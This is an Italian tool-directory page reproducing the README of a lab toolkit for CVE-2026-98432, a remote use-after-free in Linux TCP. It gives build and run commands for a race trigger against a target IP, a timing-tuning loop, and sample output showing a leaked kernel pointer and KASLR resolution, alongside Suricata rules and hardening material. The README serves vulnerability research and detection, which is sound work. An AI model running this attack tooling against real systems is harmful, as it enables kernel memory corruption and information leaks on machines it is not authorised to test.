Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-98432 — Toolkit da laboratorio per la use-after-free ireq_opt del TCP di Linux CVE-2026-98432: trigger di race condition con heap-reuse oracle, parser di leak, resolver KASLR, analisi pcap, regole IDS e hardening. | Kitploit
Strumenti/GitHubGitHub/h1z3-br0/cve-2026-98432
Sniffing e Analisi dei PacchettiAnalisi delle VulnerabilitàExploitFuzzingSicurezza di ReteRilevamento IntrusioniLab e Pratica
GitHubh1z3-br0/cve-2026-98432

CVE-2026-98432

Toolkit da laboratorio per la use-after-free ireq_opt del TCP di Linux CVE-2026-98432: trigger di race condition con heap-reuse oracle, parser di leak, resolver KASLR, analisi pcap, regole IDS e hardening.

Vedi Repository
15322 giorni faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Toolkit di ricerca CVE-2026-98432

Un piccolo toolkit di laboratorio testato per CVE-2026-98432, una use-after-free remota nello stack IPv4/TCP di Linux (CVSS 9.8). Contiene un trigger di race con un oracolo di riuso dell'heap, un parser di leak, un resolver KASLR, analisi pcap, regole IDS e helper di hardening.

[!WARNING] Questo è tooling d'attacco. Eseguilo solo contro macchine di tua proprietà, all'interno di un laboratorio isolato. La vulnerabilità è remota e non richiede credenziali sul target. Lo strumento rifiuta gli indirizzi pubblici a meno che tu non passi esplicitamente --allow-public.

Cos'è questo

  • un trigger per la race ireq_opt, con un modello di timing preciso e configurabile;
  • un oracolo che dimostra il riuso della memoria invece di indovinarlo: ogni tentativo porta un marcatore univoco nelle sue opzioni IP, e un SYN-ACK che riecheggia il marcatore di un diverso tentativo significa che il kernel ha letto un oggetto liberato;
  • un flusso di lavoro per il leak: i SYN-ACK anomali vengono scaricati in pcap, analizzati alla ricerca di puntatori al kernel, e un puntatore al testo trapelato può essere convertito in uno slide KASLR con un System.map;
  • materiale di rilevamento e mitigazione: analizzatore pcap, regole Suricata, un verificatore di patch e uno script di hardening.

Cos'è questo non

  • non è un exploit root one-click. Si ferma a una use-after-free confermata e a un memory leak. La fase 3 (bypass KASLR, heap grooming, payload) è descritta in docs/analysis.md, ma non implementata: senza una specifica build del kernel sarebbe finzione.
  • non è uno scanner. Comunica con un solo target che specifichi.

Requisiti

TargetLinux con un listener TCP IPv4, kernel precedente alla correzione
AttaccanteLinux, CAP_NET_RAW, un compilatore C, Python 3.8+
Consigliatodue VM o una VM più un host, stessa rete L2

--mode raw richiede inoltre CAP_NET_ADMIN per installare due regole iptables (lo strumento le stampa).

Avvio rapido

make                      # builds bin/cve_2026_98432
make check                # full offline test suite, no packets sent
./bin/cve_2026_98432 --check

In laboratorio:

# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000

# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
    --workers 16 --spray 4 --duration 600 --pcap hits.pcap

# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap

Il codice di uscita è 0 quando l'oracolo ha rilevato un blocco di opzioni riutilizzato (prova dell'use-after-free), 3 quando non lo ha rilevato, e 1/2 in caso di errori.

Un'esecuzione in laboratorio ha già confermato l'oracolo UAF: il SYN-ACK trasportava il marcatore di un'altra richiesta, dimostrando che il kernel aveva letto un oggetto opzioni riutilizzato. Vedi docs/verified-hit.md. La fase 2 (trasformare il riutilizzo in una fuga di puntatori del kernel) è implementata e strumentata ma non ancora riprodotta; vedi docs/stage2-leak.md. Al 2026-11-02 non esiste alcuna catena RCE armata pubblica: la catena di Anthropic è descritta solo in prosa, e il lavoro indipendente più dettagliato si ferma a un dereference controllato su un kernel strumentato.

Riprodurre in una VM

lab/build-lab.sh scarica Linux 6.12.112, annulla la correzione di due righe, compila un kernel e lo avvia in QEMU insieme allo strumento e a un listener. Vedi lab/README.md per i requisiti e i comandi all'interno della VM.

Compilazione e test

make              # optimised build
make test         # C unit tests + built-in self-test
make san          # UBSan locally, ASan+UBSan on Linux
make check        # everything: clean build, unit tests, sanitizers, Python, shell

make check non apre mai un socket. Copre la costruzione e l'analisi dei pacchetti, i checksum, entrambe le varianti dei marker, il classificatore dei puntatori, il writer pcap, un passaggio di fuzzing del parser, gli analizzatori, gli helper della shell, la CLI e la protezione di sicurezza. Consulta docs/analysis.md per la matrice completa.

Utilizzo dello strumento

modalitàcosa farete
--checkconfronta il kernel in esecuzione con la tabella delle correzioni, stampa lo stato di MPTCP e tcp_migrate_reqnessuna
--selftestsmoke test integratonessuna
--emit-demo FILEscrive una cattura UAF sintetica (per testare l'analizzatore)nessuna
--dump-configstampa la configurazione normalizzatanessuna
--probe IP:PORTun SYN con MP_CAPABLE, rileva un listener MPTCPun pacchetto
--race IP:PORTla race effettivamolti pacchetti

Opzioni comuni per la race:

--workers N        concurrent attempts (default 8)
--duration S       stop after S seconds
--spray N          heap-spray threads
--dup-burst N      duplicate SYNs per attempt (lab tuning)
--mode raw|socket  who owns the handshake (default socket)
--rtt-lead US      send the duplicate SYN this early (may be negative)
--rst-delta US     RST offset after the predicted ACK
--jitter US        randomize both offsets
--pcap FILE        write anomalous frames

Esegui ./bin/cve_2026_98432 --help per l'elenco completo.

Lettura dell'output

[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
camposignificato
attemptshandshake avviati
synacksSYN-ACK osservati
hitsil SYN-ACK trasportava il marker di un altro tentativo: use-after-free confermato
anomaliesil blob di opzioni non è stato interpretato come nostro (possibili byte trapelati)
malformedIPv4 ihl < 5, la firma dell'underflow
marker echoedSYN-ACK che trasportavano il nostro marker TS
rttstima corrente del round-trip usata per il timing

Un hit si presenta così:

[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
    ipopts[40] = 44280500...bbbb0002...
    kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000

Ottimizzazione della race

La race è una lotteria di preemption, ma il timing conta comunque. Inizia con i valori predefiniti su loopback o su una LAN, poi esegui una scansione:

for lead in 0 10 30 60 120; do
  for delta in -20 0 20 60; do
    ./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
        --duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
  done
done
  • Più vicino è meglio: il loopback o lo stesso switch battono internet di ordini di grandezza.
  • Più worker e thread di spray aumentano la pressione sullo scheduler, ed è questo che amplia la finestra.
  • Un tentativo fallito costa un handshake; nulla va in crash.

Rilevamento

python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d

Le regole Suricata si trovano in tools/suricata.rules. Le due firme ad alto valore sono un TCP SYN in ingresso con opzioni IP e un'intestazione IPv4 con ihl < 5.

Mitigazione

Scarica lo strumento